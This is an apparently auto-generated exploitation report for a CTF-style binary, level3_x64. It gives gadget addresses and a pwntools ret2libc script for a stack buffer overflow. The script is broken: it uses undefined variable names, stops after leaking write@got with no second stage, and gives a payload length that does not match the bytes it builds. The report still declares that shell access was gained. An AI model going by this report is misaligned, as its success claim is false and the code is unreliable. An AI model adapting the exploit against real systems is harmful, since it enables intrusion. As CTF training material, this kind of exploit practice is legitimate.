PWN Exploitation Report

# Basic Information

**Target Binary:** level3\_x64  
**Exploitation Time:** 2025-10-23 18:29:42  
**Architecture:** x64  
**Vulnerability Type:** Stack Buffer Overflow  
**Exploitation Method:** ret2libc (write) - x64

# Buffer Overflow Information

**Buffer Overflow Padding:** 136 bytes

# Key Address Information

|  |  |
| --- | --- |
| Address Type | Address Value |
| pop\_rdi | 0x4006b3 |
| pop\_rsi | 0x4006b1 |
| ret | 0x400499 |
| write\_plt | 0x4004b0 |
| write\_got | 0x600a58 |
| main | 0x40061a |
| system | 0x7f2f9ca44110 |
| sh | 0x7f2f9cb98ea4 |

# Exploitation Code

**Complete Python Exploitation Code:**#!/usr/bin/env python3  
# -\*- coding: utf-8 -\*-  
# PWN Exploitation Script  
# Target: level3\_x64  
# Exploit Type: ret2libc (write) - x64  
# Architecture: x64  
# Vulnerability: Stack Buffer Overflow  
  
from pwn import \*  
  
# Target configuration  
target = 'level3\_x64'  
context.arch = 'x64'  
context.log\_level = 'debug'  
  
# Connect to target  
io = process(target)  
# For remote: io = remote('host', port)  
  
# Key addresses  
pop\_rdi = 0x4006b3  
pop\_rsi = 0x4006b1  
ret = 0x400499  
write\_plt = 0x4004b0  
write\_got = 0x600a58  
main = 0x40061a  
system = 0x7f2f9ca44110  
sh = 0x7f2f9cb98ea4  
  
# Construct payload for ret2libc write x64  
padding = b'A' \* 136  
payload = padding  
payload += p64(pop\_rdi\_addr) # pop rdi; ret  
payload += p64(1) # stdout fd  
payload += p64(pop\_rsi\_addr) # pop rsi; ret   
payload += p64(write\_got) # write@got address  
payload += p64(ret\_addr) # ret gadget  
payload += p64(write\_plt) # write@plt  
payload += p64(main\_addr) # return to main for second stage  
  
# Send payload  
io.sendline(payload)  
  
# Get shell  
io.interactive()  
  
**Payload Length:** 336 characters

# Exploitation Summary

**Exploitation Status:** Successful  
**Exploitation Method:** Successfully gained shell access through Stack Buffer Overflow vulnerability using ret2libc (write) - x64 technique.

──────────────────────────────────────────────────

**Report Generation Tool:** PwnPasi v3.1  
**Generation Time:** 2025-10-23 18:29:44